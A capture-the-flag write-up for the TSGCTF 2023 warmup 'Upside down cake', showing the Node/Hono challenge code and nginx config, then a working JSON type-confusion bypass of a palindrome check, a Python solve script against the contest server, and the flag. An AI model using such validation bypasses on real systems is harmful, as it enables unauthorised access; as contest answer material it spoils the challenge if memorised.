2023 TSGCTF - Upside down cake
- 100 points / 127 solves
- Author: hakatashi
- tag: warmup
Description
I checked 413 times to see if the settings are correct.
Attached
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
const flag = process.env.FLAG ?? 'DUMMY{DUMMY}';
const validatePalindrome = (string) => {
if (string.length < 1000) {
return 'too short';
}
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') {
return 'not palindrome';
}
}
return null;
}
const app = new Hono();
app.get('/', serveStatic({root: '.'}));
app.post('/', async (c) => {
const {palindrome} = await c.req.json();
const error = validatePalindrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`I love you! Flag is ${flag}`);
});
app.port = 12349;
serve(app);
Analyzation
In this challenge, we have to pass the checker validatePalindrome(palindrome)
to get flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const validatePalindrome = (string) => {
if (string.length < 1000) {
return 'too short';
}
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') {
return 'not palindrome';
}
}
return null;
}
Firstly, I thought that just post a string length 1000 and get flag. But not so fast like that, check nginx.conf
file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
events {
worker_connections 1024;
}
http {
server {
listen 0.0.0.0:12349;
client_max_body_size 100;
location / {
proxy_pass http://app:12349;
proxy_read_timeout 5s;
}
}
}
So we must post a string with length < 100, but bypass the checker. Sounds impossible…
Hmm…
Vulnerability
Who said that only string is allowed?
Exploitation
We can post an object, or an array.
Array dont work here, because it wont pass the length condition.
We need a data type that dont have length attribute.
That’s object, aka map in C++, dictionary in Python.
Way 1
With an object, string.length
returns undefined
, an the condition string.length < 1000
returns true
. Pass!
But there is a problem with the loop. The index string.length - i - 1
is inaccessible.
Slow down a little bit, string.length - i - 1
equals to NaN
, so just give an object attribute NaN
, done!
This is the data will be post to the site.
1
2
3
4
5
data = {
"0": "a",
"NaN": "a"
}
payload = { "palindrome": data}
Way 2
This is an object, so its attributes are accessible by dot operator, too! It took me so many time to realise this.
1
2
3
4
5
6
data = {
"0": "a",
"999": "a",
"length": "1000"
}
payload = { "palindrome": data}
Note: Python is different from javascript.
1
2
3
4
5
6
7
8
9
data = {
"0": "a",
"999": "a",
"length": "1000"
}
print(data["length"]) # print 1000
print(len(data)) # print 3
print(data.__len__()) # print 3
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
# URL = "http://localhost:12349/"
URL = "http://34.84.176.251:12349/"
HEADERS = {'Content-Type': 'application/json'}
data = {
"0": "a",
"999": "a",
"length": "1000"
}
payload = { "palindrome": data}
response = requests.post(URL, json=payload, headers=HEADERS)
print(response.content)
The flag is
1
TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}